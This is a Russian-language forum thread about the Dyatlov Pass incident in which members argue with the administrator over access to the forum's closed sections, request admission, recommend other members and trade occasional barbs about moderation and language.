Pepper: Tur-watt пишет: если выражаться языком Ожегова (например) то для выражения одной и той же мысли надо строить более длинную фразу. Ничего, мы подождем, пока Вы сформулируете языком Ожегова. :) Разгадка 50 лет ждала - думаю, за лишние три минуты мы ничего существенного не потеряем. Tur-watt пишет: я кстати этим как вы выразились "олбанским" языком переписываюсь часто и много с массой людей. Это их проблемы. Например, некоторые с удовольствием слушают "русский шансон". А кто-то "ганста-рэп" местечкового разлива. Tur-watt пишет: "ни ни умею - я им думаю!" На русском? Или на олбанском?
Tur-watt: Pepper пишет: Это их проблемы. В диалоге есть как проблема правильного выражения так и внимательного слушания. Если нет одной из половинок - то и диалога нет. Я попытался донести свои мысли в немного нестандартной для данного форума лексике (но достаточно стандартной в интернете). В ответ получил административное воздействие от модератора (с угрозами последующих воздействий) и грубое высказывание от одного из "старых" участников. Спасибо за столь "теплый" прием.
Tur-watt: vysota1096 пишет: Вы на себя намекаете? Добро пожаловать в раздел Версии Да нет конечно, ни на кого я не намекаю. Но обсуждать и строить версии имея доступ только на часть форума и только к части информации все же немного унизительно. Как бы администраторы свои действия не оправдывали - это действительно так! vysota1096 пишет: Это касается любого форума, не только этого. Насчет других форумов я бы не стал писать. Повторюсь я участвую в работе множества форумов по самым разным темам. Замечание по поводу языка отличного от других я получаю впервые. Деление участников на две категории, одна из которых имеет доступ к "тайному знанию" а другие - нет мне тоже раньше не встречалось. Причем мотивация закрытости информации сводится к неким этическим моментам личного характера и авторскому праву. Что касается этики - перечитайте еще раз открытые ветки с версиями - в каких только страшных грехах погибших не обвиняют. Причем с именами и фамилиями! Что касается авторского права - повторюсь также что это "не смешно". Любая действительно интересная информация появившаяся в закрытых разделах без сомнений немедленно разлетится по всему интернету. И никакие клятвы "на крови" о соблюдении правил и деклараций тут не помогут. Поэтому я все-таки не понимаю почему закрыли ветки и настаиваю на их открытии! Вы поймите, важен принцип. Закрытых веток не должно быть - по определению. А представьте что на другом ресурсе тоже закроют часть информации - но уже от ВАС! А на третьем - еще часть! Что из этого получится? Не хотите выкладывать информацию - не выкладывайте, это действительно право каждого. Но коли уж декларируете что форум предназначен для обмена информацией - так создайте возможности для такого обмена. Я тут почитал немного - ряд участников просто уходит с этого ресурса, так и не получив доступа к нему во всем объеме. Вас это устраивает? А вдруг среди них окажутся интересные и умные собеседники? (во избежание вопросов - здесь я не себя имею в виду) Вы же думать даже не хотите над моим предложением - нет и все. А может быть оно разумно?
vysota1096: Tur-watt пишет: Но обсуждать и строить версии имея доступ только на часть форума и только к части информации все же немного унизительно. Это только ваше личное восприятие. Tur-watt пишет: Замечание по поводу языка отличного от других я получаю впервые. Видимо, вы участвуете в работе не тех форумов, на которых стремятся говорить на литературном русском языке. Tur-watt пишет: Деление участников на две категории, одна из которых имеет доступ к "тайному знанию" а другие - нет мне тоже раньше не встречалось. Значит, вы просто не участвуете в работе таких форумов, их много. Только речь не о "тайном знании", а о нормальной работе форума. Tur-watt пишет: перечитайте еще раз открытые ветки с версиями - в каких только страшных грехах погибших не обвиняют. Причем с именами и фамилиями! Ссылку можете привести? Tur-watt пишет: Поэтому я все-таки не понимаю почему закрыли ветки и настаиваю на их открытии! Почему закрыли - вам уже объясняли. А настаивать стоит в другом месте. Tur-watt пишет: А представьте что на другом ресурсе тоже закроют часть информации - но уже от ВАС! Таких ресурсов - вагон и маленькая тележка. Tur-watt пишет: А вдруг среди них окажутся интересные и умные собеседники? Тогда они смогут для начала работать в открытой части форума. Tur-watt пишет: А может быть оно разумно? Оно не учитывает причин, по которым эти разделы закрыты и показывает лишь "хочу" его автора, который парой постов выше договорился до того, что освободил себя от соблюдения прав форума, в котором собрался участвовать.
Tur-watt: Цитаты только из одной ветки, выбранной случайно. Насколько я понимаю Albert уважаемый участник данного ресурса? Итак, цитаты от этого "уважаемого" участника: Albert пишет: Судя по ответу, вы предпочитаете гадить здесь. Тогда занимайтесь этим онанизьмом без меня, Albert пишет: Версия забивает огромный болт на какие-то там понятия Albert пишет: прикандыбала Сорни-Най и давай дятловцев гонять!". Albert пишет: Туристы - мышки, причем не полевые, а домашние, ручные, не приспособленные абсолютно к жизни в природе. Эти мышки в погоне за приключениями Модератор данному участнику по поводу таких "перлов" никаких замечаний не делает.... ......но при этом мне здесь про этику пытаются рассказывать! И про то каким языком нужно пользоваться! Шок. Без комментариев.
Tur-watt: vysota1096 пишет: Оно не учитывает причин, по которым эти разделы закрыты и показывает лишь "хочу" его автора, который парой постов выше договорился до того, что освободил себя от соблюдения прав форума, в котором собрался участвовать. Наверное не "прав" а "правил"? Права есть у участников, а не у форума. Так по-русски будет. vysota1096 пишет: Это только ваше личное восприятие. Видимо, вы участвуете в работе не тех форумов... Значит, вы просто не участвуете в работе таких форумов.... Вы себя перечитайте еще раз!!! (про "надувание щек" я уже упоминал кажется)
Tur-watt: Мне почему-то кажется что рано или поздно что вы поймете что я прав. А сейчас вы со мной "воюете" просто по инерции.
vysota1096: Tur-watt пишет: Модератор данному участнику по поводу таких "перлов" никаких замечаний не делает.... Разве? Tur-watt пишет: Наверное не "прав" а "правил"? Да, правил, конечно. Tur-watt пишет: Вы себя перечитайте еще раз!!! Зачем? Это вы видите только "надувание щек", а не я. Tur-watt пишет: Мне почему-то кажется что рано или поздно что вы поймете что я прав. Мне почему-то кажется, что вы явно набиваетесь на бан. У этого форума есть свои правила, которые вы как участник обязались соблюдать. Если вы не хотите их соблюдать, вы свободны прекратить свое участие в работе форума.
Aлена19: Ну в том, что закрытость разделов способствует созданию мифов и слухов, я думаю, никто не сомневается. К тому же раскрытие разделов необходимо не для удовлетворения "неуемного любопытства", (где-то такое мнение промелькнуло), тем более, что всю информацию можно при желании найти (фото, мед.заключения и пр.) и вне этого форума, а именно для полноценного обсуждения. Ведь не скрытая форумом иноформация интересна, (известна она), а именно возможность участия в обсуждениях. Ну и какие перлы нужно создать, чтобы тебя впустили в заветное? Как нужно доказать, что ты не робот, не тролль, не держишь камень за пазухой и фигу в кармане? Ну не открывайте, хозяин - барин. Но тогда цель форума не совсем ясна, но то, что целью не является проведение любительского расследования, становится очевидно.
vysota1096: Aлена19 пишет: именно возможность участия в обсуждениях. Начинайте с открытых разделов, в них тоже идут обсуждения. Aлена19 пишет: но то, что целью не является проведение любительского расследования, становится очевидно. Это ваша точка зрения, и она не соответствует действительности. Tur-watt и Aлена19, прошу не обижаться, но я выхожу из пустой дискуссии. Есть правила, которые надо соблюдать. Разделы закрыты по определенным причинам, и пока эти причины будут наличествовать, разделы останутся закрытыми. Благодарю за внимание.
Aлена19: vysota1096 пишет: и пока эти причины будут наличествовать, разделы останутся закрытыми. Ну, буду надеяться, что эти причины когда-ниб "самоликвидируются", как "демоны" из известной к/комедии. Больше к этой теме возвращаться не буду. Спасибо за участие в дискуссии, хоть и пустой (по результату).
Tur-watt: vysota1096 пишет: Мне почему-то кажется, что вы явно набиваетесь на бан. У этого форума есть свои правила, которые вы как участник обязались соблюдать. Если вы не хотите их соблюдать, вы свободны прекратить свое участие в работе форума. А мне почему-то кажется что вы почему то все время пытаетесь сделать так что я ушел с этого форума. Те же постоянные угрозы бана - за что? Я соблюдаю правила. Я просто высказываю предложение их изменить. То что за это банят в правилах не указано. Да и вообще наказывать не за дела, а за точку зрения - это что то из времен СССР. Повторюсь, правила я соблюдаю, формально банить не за что, но вы все время пытаетесь найти причины это сделать. Я могу уйти с форума, но кому от этого станет лучше? (Естественно я не жду от вас ответа. Но высказать точку зрения я имею полное право. Подчеркну в третий раз что правил я не нарушаю. )
Stepa: Клёст пишет: У меня нет допуска на Склон. Уважаемая госпожа Администратор, обращаюсь к вам с неформальной просьбой дать нам всем возможность вести дискуссию в том числе в "закрытых разделах" с интереснейшим собеседником - участником нашего форума Клёстом. Он зарегистрировался всего 10 дней назад, но уже имеет двойную ( в хорошем смысле слова ) репутацию. Я готов поручиться за него, если вы не потребуете какую-либо часть моего тела взамен.
Poll1248: Здравствуйте, я так понимаю, что мне обязательно нужно дискутировать (набирать посты) для получения доступа в ЗР, или искать благосклонности одного из старичков? Других вариантов нет? Хотелось бы пояснить, интересовался этим случаем давно, как и мой знакомый старший товарищ, сейчас хотелось бы подсобрать всю инфу и летом с ним обмозговать, возможно на месте трагедии (он в сети не бывает ему за 50 давно). Спасибо за сбор информации на этом форуме.
ZSM-5: Poll1248 пишет: Здравствуйте, я так понимаю, что мне обязательно нужно дискутировать (набирать посты) для получения доступа в ЗР, или искать благосклонности одного из старичков? Я на форуме, что называется, без году неделю, но позволю себе высказать свое личное мнение. Мне сначала тоже не нравилась ситуация с закрытыми разделами. Но я упорно работал на форуме (и продолжаю это делать), и получил доступ через неделю после регистрации, а то и раньше, и не было никаких проблем. Я за месяц с небольшим пребывания на форуме увидел уже по меньшей мере десяток человек, которые появятся, напишут пару постов, и бесследно исчезают. Я не думаю, что это происходит от того, что им не дают доступа. Скорее всего, был какой-то мимолетный интерес, который быстро испарился. Короче, упорно и целеустремленно работайте на форуме (именно так: работать, а не болтать), и все будет. Например, в связи с одеждой (это в открытых разделах) возникает, и всегда возникало много вопросов по отнесению одежды, и разрешению противоречий. Возьмите какой-нибудь конкретный вопрос - например, по тому же "заячьему жилету", и помогите с ним разобраться.
Tur-watt: ZSM-5 пишет: увидел уже по меньшей мере десяток человек, которые появятся, напишут пару постов, и бесследно исчезают. Я не думаю, что это происходит от того, что им не дают доступа. Скорее всего, был какой-то мимолетный интерес, который быстро испарился. вы не думаете что многие просто читают? то что человек не пишет, не означает, что его эта история не интересует
SS: Здравствуйте! Давно (полгода) читаю ваш форум в качестве гостя, поскольку интересуюсь обстоятельствами гибели Дятлова. К моему глубокому сожалению, не имею ни квалификации, ни новых оригинальных идей, способных сдвинуть обсуждение дальше не имею. Так или иначе мое мнение уже было высказано и обсуждено активными участниками, а опыт общения с неприемлимыми здесь некими потусторонними силами - хозяевами мест у местного населения, в археологических экспедициях сталкивались с таким, - могу даже и не демонстрировать в качестве одной из возможных причин трагедии, заклюют. Прочитала все доступные разделы, и теперь нижайше прошу разрешить мне доступ в закрытые от любопытных темы. Учитывая специфику оных, а так же принимая во внимание причины закрытия, обязуюсь не разглашать и не распространять материалы из них, не поднимать воплей на тему и вообще молчать в тряпочку. Могу предоставить свои интернетовские контакты (в определенных кругах я достаточно известна, поэтому ухватить меня за жопу в случае чего вполне реально), и очень прошу пойти на встречу, ибо зело интересно! С уважением, SS
Элис Купер: Здравствуйте!Читаю форум с зимы,особенно после того,как прекратил существование ТАУ-форум,где была зарегистрирована.Тема дятловцев интересует давно,впервые узнала о ней из статьи в "Аномальных новостях",где была представлена мистическая версия "духа горы".Последнее сообщение (в прессе) увидела на днях в журнале "Иллюстрированная наука",но там вскользь написано,просто для кругозора.Хочу себя убедить,что всё происходило по естественным причинам,вроде "лавина плюс резкое изменение погоды",но мысли всё равно возвращаются ко всякой чертовщине.Не думаю,что привнесу на форум что-то оригинальное,но читать продолжу.
vysota1096: SS и Элис Купер, Повторите свои сообщения в теме для новых участников, пожалуйста!
pean: Что-то замерло здесь время. Регистрируюсь: просят рассказать немного о себе в теме для новых участников, захожу - тема закрыта. Последнее сообщение датировано 18.05.2011.
Vitalik74: Надеюсь, ув. vysota1096 не обидится, если подскажу :) Тема была продолжена тут - http://pereval1959.forum24.ru/?1-14-0-00000027-000-80-0-1318441458
vysota1096: Vitalik74 пишет: Надеюсь, ув. vysota1096 не обидится, если подскажу :) Спасибо огромное!
helga-O-V: Уважаемый администратор, уважаемые читатели закрытых разделов! Рискуя схлопотать очередное наказание, я пишу это тут, ибо тему "закрытых тем" и их содержимого надо рассматривать "в закрытом режиме". Когда я выяснила, что на форуме существует закрытый режим для некоторых разделов, я согласилась с тем, что темы типа "обнаружения" с фото покойных не должны быть в общем доступе. Но я не могу понять, почему "следы" - это закрытая тема? Почему вообще -"склон"- закрытая тема? Может быть именно "обнаружения" стоит убрать в действительно навсегда закрытую "медицину"? Почему "литература" - закрытая? Может вообще пересмотреть все "зоны" на предмет необходимости соблюдения закрытого режима, а всё действительно закрытое собрать из них в какой-то один раздел?
vysota1096: helga-O-V пишет: Почему "литература" - закрытая? Потому что там ссылки на сканы книг, на торренты и прочее. helga-O-V пишет: Может вообще пересмотреть все "зоны" на предмет необходимости соблюдения закрытого режима, а всё действительно закрытое собрать из них в какой-то один раздел? Я это предлагала как-то, но отклика это не получило. В принципе, что-то подобное имеет смысл. Надо только продумать.
sergV: Поддержу helga-O-V ( в кои то веки ) vysota1096 пишет: Я это предлагала как-то, но отклика это не получило. В принципе, что-то подобное имеет смысл. Надо только продумать. Это будет правильно.
Albert: helga-O-V пишет: Но я не могу понять, почему "следы" - это закрытая тема? Я на форуме не очень давно. Спрашивать о причинах появления широких закрытых разделов как-то не хотелось. И я решил подумать - почему? Пришел к выводу - закрыты зоны, в которых находились трупы, дабы не светить их фото. Так автономные обсуждения следов, костра или настила тоже стали закрытыми. Единственный допустимый пока вариант обсуждения этих вопросов - включение их в длинные версии, откуда их сложно извлечь. Я например не испытываю трудностей с обсуждением следов в версии.
Элис Купер: Уважаемая vysota1096,нельзя ли сделать раздел "Медицина"двухуровневым,-оставить закрытыми материалы,которые не должны быть в открытом доступе по этическим соображениям(посмертные фотографии или что-то ещё),а остальное вывести в открытый доступ?Специфика обсуждаемого всё-таки такова,что без затрагивания медицинских тем не обойтись.
vysota1096: Элис Купер пишет: Специфика обсуждаемого всё-таки такова,что без затрагивания медицинских тем не обойтись. Коснуться медицинских тем можно, например, здесь: http://pereval1959.forum24.ru/?1-9-20-00000018-000-0-0-1290388772 или здесь: http://pereval1959.forum24.ru/?1-9-0-00000047-000-0-0-1295866727
diletto: Вопрос к администрации: что за жесть вы прячете в разделе "Литература"??? (Может, мне туда и не надо вовсе...)
vysota1096: diletto пишет: мне туда и не надо вовсе... Точно не надо.
саша19551958: Вопрос администратору. Я вдруг заметил, что я не просто интересующийся, а поисковик! Интересно за что это? И вдруг звездочка синенькая появилась вторая. Это, что вроде, как медалька " За выслугу лет" ( в миру - за песок). Или дается за заслуги какие - то. Мелочь, конечно но приятно. А кто главнее "поисковик" или "постоянный участник"?
vysota1096: саша19551958 пишет: А кто главнее "поисковик" или "постоянный участник"? Второй. саша19551958 пишет: Интересно за что это? За количество сообщений.
PostV: Уважаемый администратор форума vysota1096! Вправе ли я ходатайствовать о присвоении участникам форума Parf и а.fet статуса постоянного участника, с доступом в закрытые разделы? Если ответ да (вправе:-) , то я ходатайствую. Спасибо.
ZSM-5: Если, как при вступлении в Партию, требуется рекомендация двух членов, то я с удовольствием присоединяюсь к ходатайству уважаемого PostV.
vysota1096: Ок, договорились.
vysota1096: Уважаемому А. Фету еще надо представиться в теме для новых участников.
a.fet: Честно говоря не ожидал, спасибо. Собирался все напроситься хотя бы в раздел с кедром, но как то неудобно было, учитывая время нахождения на форуме. Вопрос с темой для новых участников решить не сложно.
pokayazdes: vysota1096 "Апд1. 08.02.10 В связи с некоторыми недавними происшествиями....." А что за происшествия, можно узнать? Чтоб не повторять чужих ошибок, или это тайна?
B09021959: Поскольку человеку не ответили в течении 10 дней, а к тому же этот вопрос заинтересовал и меня, то я, после внимательного ознакомления с темой, попробую сделать предположение - апдейт1 введён в связи с жалобой в прокуратуру.
vysota1096: pokayazdes пишет: Чтоб не повторять чужих ошибок Соблюдайте правила форума - и не повторите. B09021959 пишет: попробую сделать предположение А по теме форума что-нибудь?
B09021959: vysota1096 пишет: А по теме форума что-нибудь? Рано мне - я ещё пока маленький :) Хотя... эта тема тоже имеет отношение к теме форума.
str255: vysota1096 Привет! Как получить доступ к закрытым разделам? Я не хочу ничего писать в форуме, не хочу спорить, не хочу ругаться или гадить кому бы то ни было. Я для этого сильно ленивый. Просто хочу почитать, тема меня очень заинтересовала в свое время, настолько сильно, что ни о чем другом думать не мог. Сейчас полегче, но интерес не пропал. Как получить доступ ?
vysota1096: str255 пишет: Просто хочу почитать Привет, str255! Просто почитать можно раздел Материалы УД, там почти все уголовное дело. А посмотреть - раздел Фото и визуализация. str255 пишет: Как получить доступ ? vysota1096 пишет: доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков". В последнем случае "старичок" отвечает за "новичка".
KUK: Хотелось бы ознакомиться с обещанным блокнотом Золотарева. Для чего нужен доступ в закрытые разделы.
vysota1096: KUK пишет: Хотелось бы ознакомиться с обещанным блокнотом Золотарева. Пока знакомиться не с чем. И не могли бы вы отписаться хотя бы в личку, кто конкретно будет выходить из-под этого аккаунта?
Alina: KUK пишет: Хотелось бы ознакомиться с обещанным блокнотом Золотарева. Для чего нужен доступ в закрытые разделы. Так как у меня нет доступа к закрытым разделам, можно только узнать: дневник Золотарева действительно существует?
ХоЛоД: дневник Золотарева действительно существует? Он, как суслик - никто его не видел, но он есть
Tur-watt: Alina пишет: дневник Золотарева действительно существует? Есть весомые основания в этом усомниться. А мистификаций в этой теме было уже множество.
Slo: KUK пишет: дневник Золотарева действительно существует? Конечно нет, тов. Кунцевич. Все это - очередная мистификация. Вам же тов. ХоЛоД говорит, а он плавал,знает. Он,(тов. ХоЛоД) -проводил масштабнейшие исследования аварии. Организовал десятки экспедиций на перевал посредством мысли, определил место палатки посредством прищура, раскрыл тайну аварии кончиком пера. Куда там до него Вам с Буяновым? А мне-так впору вообще ритуально утопиться от стыда в Ауспии. Так что-не забивайте себе голову))
vysota1096: Прошу всех на этом закончить с флудом.
ХоЛоД: Вам же тов. ХоЛоД говорит, а он плавал,знает. Он,(тов. ХоЛоД) -проводил масштабнейшие исследования аварии. Организовал десятки экспедиций на перевал посредством мысли, определил место палатки посредством прищура, раскрыл тайну аварии кончиком пера. Куда там до него Вам с Буяновым? тов. ХоЛоД к счастью не болеет "дятловедением", не смотря на то, что интересуется ПД уже почти четыре года. Так что, тов. Slo - мимо Прошу всех на этом закончить с флудом. Извините, Галина.
Stepa: knock пишет: Stepa, спасибо, жаль. Вопрос для меня очень важный. vysota1096 пишет: Вы можете "замолвить словечко" в соответствующем топике. vysota1096, участнику knock очень важно получить доступ к некоторым закрытым разделам на форуме - он зарегистрирован уже два года на нашем форуме, однако до сих пор доступа не получил. Прошу предоставить ему такую возможность, чтобы он мог реализовать свой интерес. Прошу и за Демимурку, которая отбыв дисквалификацию, лишилась доступа - я хотел бы обратиться к ней с просьбой об усовершенствовании схем
vysota1096: Stepa, под вашу ответственность.
Stepa: vysota1096 пишет: Stepa, под вашу ответственность. В том числе Я имею в виду не вас, а ответственность knockа. В любом случае благодарю.
vysota1096: Вопрос ув. Хельги отрезан в отдельный топик: http://pereval1959.forum24.ru/?1-14-0-00000121-000-0-0-1336647762
vysota1096: Зона 3 и Зона 5 переведены в открытый доступ. "Чувствительные" темы перенесены в другой закрытый раздел. Тема о ветре на склоне - в открытый раздел по погоде, тема о снимках - в раздел по фотоматериалам.
мыслишире: Бред какой-то с закрытыми темами. Я зря время потратила на регистрацию. Проще почитать другие источники.
vysota1096: мыслишире пишет: Проще почитать другие источники. Альтернативное УД? Почти вся матчасть в открытом доступе. Для только-чтения можно было и не регистрироваться.
Деяна Станкович: Скажите, а есть ли какой-то....критерий плодотворного участия? Ну то есть, я понимаю - если конструктивно комментируешь версии, участвуешь в обсуждениях, не флудишь, то приблизительно через сколько сообщений можно "подавать заявку" на открытие подфорума "Медицина"? С уважением,
vysota1096: Деяна Станкович пишет: то приблизительно через сколько сообщений можно "подавать заявку" на открытие подфорума "Медицина"? Примерно через 50 не флудовых, а конструктивных сообщений.
Lu: vysota1096 А можно доступ в закрытые разделы?
vysota1096: Lu пишет: А можно доступ в закрытые разделы? Можно. После плодотворного участия в дискуссиях в открытых разделах.
Кикимора: а доступ можно?
vysota1096: Кикимора пишет: а доступ можно? См. ЛС.
lunnaya5: непонятный форум!нет ни собственного профиля, ни как написать в лс не ясно.соответственно так же не ясно как можно не просто *активно участвовать в дискуссиях*, а даже просто написать. хотя оочень интересный
Зима: Здравствуйте. Хотелось бы получить доступ в раздел медицины.
Pepper: lunnaya5 пишет: непонятный форум!нет ни собственного профиля, ни как написать в лс не ясно.соответственно так же не ясно как можно не просто *активно участвовать в дискуссиях*, а даже просто написать А зарегистрироваться для начала не пробовали? Может, профиль и появится?
Зима: Я вроде бы зарегистрировалась.
wolker: Зима пишет: Я вроде бы зарегистрировалась. Сорри, вы так компетентно расписали порядок соблюдения авторских прав в сети, что даже как то немного странно видеть такую непонятнку от столь опытного интернетпользоваля. Предложение Пеппера "зарегистрироваться" адресовано исключительно пользователю lunnaya5, чей пост процитирован в его сообщении.
Зима: Ну вот как и Вы я забыла поставить смайл , что это шутка (про зарегистрироваться). Про авторские права - это у меня профессиональное, ну и зануда я.
anya2: vysota1096 Прошу открыть доступ в закрытые разделы. С уважение, Анна.
vysota1096: anya2, vysota1096 пишет: доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков". Могу добавить, что еще нужно представиться в топике для новичков в этом разделе.
Ветер: Ещё один раздел "Обнаружение" закрытым сделали? Почему и зачем?
Борода Лопатой: Ветер пишет: Ещё один раздел "Обнаружение" закрытым сделали? ИЧХ, давно Во всяком случае, когда я впервые попал на форум - раздел Зона 4 был уже закрытым.
Ветер: Борода Лопатой пишет: Во всяком случае, когда я впервые попал на форум - раздел Зона 4 был уже закрытым. Всё равно, не понятно - зачем. ИМХО, все фото заинтересованные лица уже видели, специфических медицинских рассуждений там нет. Но вот некоторые детали обнаружения и документальное сопровождение этого события, хотелось бы обсудить.
Борода Лопатой: Ветер пишет: некоторые детали обнаружения и документальное сопровождение этого события, хотелось бы обсудить. Обсуждайте. В разделе. С теми, кто имеет туда доступ. Кто-то запрещает, что ли?
max: vysota1096 Просьба дать разрешение на доступ в закрытые разделы. С Ув. Макс
vysota1096: Макс, посмотрите, пожалуйста, апдейт 1 в верхнем сообщении.
Металлург: *PRIVAT*
Aлена19: Предлагаю открыть доступ в закрытые разделы участнику Seph.
helga-O-V: Просьба предоставить доступ в закрытые разделы участнику экспедиции-2012 составившему фотопанораму места события Металлург
vysota1096: Aлена19, helga-O-V, хорошо.
Andromaha: А есть какое-то минимальное количество постов для того, чтобы считаться активным участником? Очень много тем, очень много сообщений, хочется вдумчиво всё прочитать, тут на годы хватит...
vysota1096: Andromaha пишет: А есть какое-то минимальное количество постов для того, чтобы считаться активным участником? Нет, нету. Поскольку флудопосты "ценятся" ниже содержательных.
Andromaha: vysota1096 Флудить не люблю. (Выдохнула) Эх, нескоро меня старожилы допустят до секретов
Olga: Я не буду спрашивать про закрытые фото трупов - кому надо - и так в инете все есть, но какие-то рассуждения по медицине и обнаружению почитать хотелось бы. Потому что возникает стойкое ощущение, что многие возникающие вопросы уже обсуждались.
vysota1096: Olga пишет: Потому что возникает стойкое ощущение, что многие возникающие вопросы уже обсуждались. Об этом можно спросить, например, в теме для вопросов от новичков.
Olga: О'К)
Leopard: Эх. Ну попробую. Если это возможно, то прошу открыть доступ с закрытым разделам. Правила соблюдать обязуюсь, расстройствами психики не страдаю
NordSerg: Leopard пишет: расстройствами психики не страдаю Если вы здесь, и проситесь в закрытый раздел, то ваше утверждение уже более чем спорно... Подумайте пока не поздно.
Борода Лопатой: NordSerg
Leopard: У меня справка от психиатра еще действующая. Год назад получала на права. А у Вас?
Борода Лопатой: Leopard А у него нет. Он здесь давно . По поводу же допуска в Закрытые разделы вам лучше написать ЛС администратору vysota1096
Детрит: Доброго вечерУ. Самохвальная ветка для новичков закрыта - гже ж мне пропеть оду себе?
Детрит: О, вот новая.
a.fet: В связи с правильной политической позицией ходатайствую о допуске (Боже....) в закрытые разделы форума нового пользователя Зара. Подсознательно чувствую, что этот человек будет нести свет в темноту непознанного и своими действиями приблизит все прогрессивное человечество к тайне. А не прогрессивное человечество - к прогрессу.
vysota1096: a.fet, вы знакомы с Зарой или полагаетесь на свое чувство?
a.fet: vysota1096 пишет: a.fet, вы знакомы с Зарой или полагаетесь на свое чувство? За меня ведь просили дать доступ, не зная меня лично, если не ошибаюсь это были ZSM-5 и PostV. Хотя на деле я оказался злобный и мстительным человеком, по мнению Grissom, тем не менее я ведь могу поверить в светлые устремления новой участницы форума, которая по крайней мере вызывает интерес в плане творческого подхода к делу и не конфликтует с участниками по любому поводу. Хотя бы по причине отсутствия на это времени:-)
vysota1096: a.fet, ок, понятно.
valkam: vysota1096 Справа вверху в форме ответа кнопки, когда наводите мышкой - высвечивается подсказка. "Вставить картинку с компьютера" - это "человек". vysota1096 Пардон, не понял. Что Вы имели в виду? Вот это: "в форме ответа кнопки" и "это "человек" – ничего, короче, не понял. Тоже аватар не грузится.
vysota1096: valkam пишет: Пардон, не понял. Уже поняли, судя по ЛС.
valkam: Мне неудобно отрывать Вас вопросами не по существу, но как это "уже поняли"? Я своего юзпика не вижу. Чо та странно как-то... Ваш вот вижу – окно увитое плющем, а моего нету. Вы только скажите: Вы что, видите мой юзерпик? Странно...
valkam: О! Появился! Что-то Вы там всё-таки починили :) Ладно, пойду темы я читать. Интересно.
shirokih_s: vysota1096 Просьба дать доступ к закрытым разделам для изучения.
Борода Лопатой: shirokih_s vysota1096 пишет: В связи с некоторыми недавними происшествиями доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков".Какие слова вам здесь непонятны?
a.fet: Сегодня прочитал сообщение новой участницы gerda и практически прослезился. Слезы закапали в чашку с крепкозаваренным пуэром, размыли печать и подпись в лежащей на столе купчей на имение. Нельзя терять веру, в том числе в человека, в угоду каких-то мелких неприятностей на форуме. Потеря веры лишает таких хороших людей, как gerda возможности учавствовать в обсуждении в закрытых разделах. Вообщем грех это лишать такую целеустремленную девушку возможности ознакомиться с дополнительной информацией.
Dest: a.fet пишет: учавствовать в обсуждении в закрытых разделах. Дайте мне много денег и я откажусь от участия в закрытых разделах
vysota1096: a.fet пишет: Вообщем грех это лишать такую целеустремленную девушку возможности ознакомиться с дополнительной информацией. Это рекомендация?
a.fet: Да, рекомендация, с учетом приведенной выше Бородой трагической цитаты из апдейта:-) По поводу тишины и компетентности, есть ведь еще один фактор, кроме умения говорить только о том, в чем разбираются - умение это слушать. Если второго нет, то первое теряет смысл в диалоге.
vysota1096: a.fet пишет: Да, рекомендация Ok.
gerda: a.fet, спасибо за рекомендацию, что открыли разделы, только вот я не могу читать и молчать.
Ветер: gerda пишет: только вот я не могу читать и молчать. Ну, тогда просто говорите в монитор, не набирая на клавиатуре. Я иногда так и делаю.
a.fet: Gerda, у Вас режим "только чтение" на эти разделы? Раньше насколько помню полный доступ давали.
gerda: А.fet, сегодня уже полный доступ).
nike1971:
nike1971: По моему к Путину на прием легче попасть,чем добиться права читать закрытые разделы...Ребята админы - вы только распугиваете этими запретами (мне лично непонятными) нормальных умных и желающих докопаться до правды форумчан.
vysota1096: nike1971 пишет: По моему к Путину на прием легче попасть,чем добиться права читать закрытые разделы... Это только "по вашему". сколько я должен умных постов написать чтобы получить доступ в святое место под названием медицина? Попробуйте написать сотню. Умных. Чем умнее будете писать, тем быстрее наберете эту сотню. И не надо писать сообщения, состоящие только из заголовка.
Смотритель: vysota1096 пишет: Попробуйте написать сотню. Умных. Чем умнее будете писать, тем быстрее наберете эту сотню. И не надо писать сообщения, состоящие только из заголовка. Если это не хамство, то что? Хамство входит в обязанности админа?
vysota1096: Смотритель пишет: Если это не хамство, то что? Это ответ на вопрос. А вот вы провоцируете в очередной раз, за что получаете замечание. Еще одна провокация - и опять будет бан.
nike1971: Уважаемый ВЫСОТА! Не думал я что человек - который ни разу в жизни меня не видел и не слышал будет определять насколько УМНЫ или НЕУМНЫ мои посты! Ознакомившись с большинством мнений и гипотез у меня сложилось иное мнение.И почему громадные по обьему монологи того же Буянова - который утомил уже ( и не только меня одного)своими абсолютно высосаными из пальца доводами,считаются наиболее умными и заслуживающими внимания чем версии намного более близкие к ИСТИНЕ ,но которые почему то не обсуждаются в пределах этого форума? Буду очень рад Вашему мудрому ответу. И может я ошибаюсь но многоуважаемый админ - по моему - слишком чувствителен к справедливой критике.
Pepper: nike1971 пишет: Не думал я что человек - который ни разу в жизни меня не видел и не слышал будет определять насколько УМНЫ или НЕУМНЫ мои посты! Вы не поверите: для того, чтобы определить, умны или неумны чьи-то посты - совершенно не требуется видеть и слышать их автора! Достаточно просто уметь читать, и анализировать прочитанное.
Смотритель: vysota1096 пишет: получаете замечание Дам вам совет. Если этот форум ваша собственность, если он авторский, как какой-нибудь живой журнал, то так и напишите "Форум и далее свои ФИО или ник-нейм. Тогда говорите и делайте на форуме что хотите. Если же нет, то держите себя в руках. Не путайте менторский тон со стилистикой админа на открытом форуме, куда приходят ничем вам не обязанные люди, которые зачастую могут вам дать не только знания и документы, но и вообще 100 очков вперед Ваш же самосуд вызывает только улыбку. Хотите, давайте сделаем голосовалку - прав я или нет. Я готов к оценке своих слов, а вы?
nike1971: Смотритель пишет: Дам вам совет Полностью солидарен со Смотрителем! Форум - это общественное место.Одно дело - лишать доступа к материалам разделов ОБНАРУЖЕНИЕ и МЕДИЦИНА в индивидуальном порядке за какие либо нарушения этики ..и совсем другое дело АПРИОРИ банить всех и каждого кто по мнению админа пишет не слишком умные посты в разделах хоть и много..либо умные но слишком мало..Как мне было указано Высочайшим Повелением - я должен написать минимум 100 постов ...да к тому же умных..чтобы так уж и быть получить доступ в МЕДИЦИНУ.Ей Богу мне было бы смешно..если бы не серьезность той трагедии с ребятами дятловцами которой посвещен этот сайт.
